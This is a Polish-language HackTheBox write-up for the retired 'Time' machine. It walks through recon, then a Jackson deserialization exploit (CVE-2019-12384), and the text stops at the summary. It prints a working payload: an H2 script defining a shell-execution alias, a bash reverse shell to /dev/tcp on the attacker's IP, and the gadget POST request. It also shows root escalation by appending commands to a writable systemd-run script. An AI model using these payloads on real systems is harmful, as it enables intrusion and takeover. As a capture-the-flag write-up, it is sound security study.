Writeup: Maszyna HackTheBox Time

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Time - spełnia ten warunek.

Machine Info

1. TLDR

Time graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.214

3. Skanowanie i rozpoznanie

Na początku uruchomiłem skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej popularnych portach.

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $nmap $IP -sC -sV -n -Pn -T5 -oN nmap/01-initial.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-30 06:51 CET
Nmap scan report for 10.10.10.214
Host is up (0.059s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.77 seconds

Na serwerze był uruchomiony serwer http. Uruchomiłem więc narzędzie gobuster:

t4wny0wl@whitehatlab$ gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.214
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/10/30 06:59:03 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/javascript (Status: 301)
/vendor (Status: 301)
/fonts (Status: 301)

oraz nikto:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $cat nikto/01-initial.txt 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.214
+ Target Hostname:    10.10.10.214
+ Target Port:        80
+ Start Time:         2020-11-04 23:11:44 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ 7864 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2020-11-04 23:18:28 (GMT1) (404 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


      *********************************************************************
      Portions of the server's headers (Apache/2.4.41) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to sullo@cirt.net) (y/n)? 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
- Sent updated info to cirt.net -- Thank you!

Na serwerze http dostępna była strona internetowa:

website

Dostępne są dwie opcje, które przetestowałem tym samym inputem: {"A":1}:

  1. Beautify

website-beautify

  1. Validate (beta!)

website-validate

Błąd, który się pojawił to:

Validation failed: Unhandled Java exception: 
com.fasterxml.jackson.databind.exc.MismatchedInputException: 
Unexpected token (START_OBJECT), expected START_ARRAY: 
need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

Wynikało z tego, że mamy tutaj doczynienia z błędem związanym z deserializacją.

4. Uzyskanie dostępu

Zacząłem szukać informacji w sieci:

Trafiłem na artykuły oraz CVE:

  1. https://github.com/fasterxml/jackson-databind/issues/2052
  2. https://nvd.nist.gov/vuln/detail/CVE-2018-12022
  3. https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062

oraz ostatecznie:

  1. https://nvd.nist.gov/vuln/detail/CVE-2019-12384
  2. https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

Korzystając z opisu w ostatnim z artykułów przygotowałem plik:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $cat inject.sql 
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.15.46/4444 0>&1 &')

oraz uruchomiłem serwer http:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $python3 -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

Następnie przygotowałem narzędzie netcat:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

oraz korzystając z BurpSuite przesłałem zapytanie:

POST / HTTP/1.1
Host: 10.10.10.214
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Origin: http://10.10.10.214
DNT: 1
Connection: close
Referer: http://10.10.10.214/
Upgrade-Insecure-Requests: 1

mode=2&data=["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.15.46:8000/inject.sql'"}]

W ten sposób została nawiązana sesja:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Time]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.15.46] from (UNKNOWN) [10.10.10.214] 43914
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ 

Odczytałem zatem flagę:

pericles@time:/var/www/html$ cat ~/user.txt
cat ~/user.txt
33330ac94764a85bd0fe2c9550c472e8

5. Eskalacja uprawnień: pericles ⇨ root

Ustabilizowałem shella:

python3 -c import pty; pty.spawn("/bin/bash")

Pobrałem narzędzie linpeas.sh:

pericles@time:/dev/shm$ wget http://10.10.15.46:8000/linpeas.sh
--2020-11-05 22:47:32--  http://10.10.15.46:8000/linpeas.sh
Connecting to 10.10.15.46:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 228272 (223K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 222.92K   822KB/s    in 0.3s    

2020-11-05 22:47:32 (822 KB/s) - 'linpeas.sh' saved [228272/228272]

a następnie je uruchomiłem:

pericles@time:/dev/shm$ chmod +x linpeas.sh
pericles@time:/dev/shm$ ./linpeas.sh

Na standardowym wyjściu moją uwagę zwrócił fragment:

[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
  Group pericles:
/usr/bin/timer_backup.sh

Zawartość pliku to:

pericles@time:/dev/shm$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

Ale gdzie był wykorzystywany plik /usr/bin/timer_backup.sh:

pericles@time:/dev/shm$ grep -r timer_backup.sh / 2>/dev/null
/etc/systemd/system/web_backup.service:ExecStart=/bin/bash /usr/bin/timer_backup.sh

6. Odczytanie flagi roota

Dopisałem kawałek kodu do skryptu:

pericles@time:/dev/shm$ echo 'cp /root/root.txt /dev/shm/74wny0wl.txt && chmod 777 /dev/shm/74wny0wl.txt' >> /usr/bin/timer_backup.sh

Pozostało odczytać i usunąć flagę:

pericles@time:/dev/shm$ cat 74wny0wl.txt  
c1c7f15d17358d2de3135b24a10abf83
pericles@time:/dev/shm$ rm 74wny0wl.txt  

7. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności: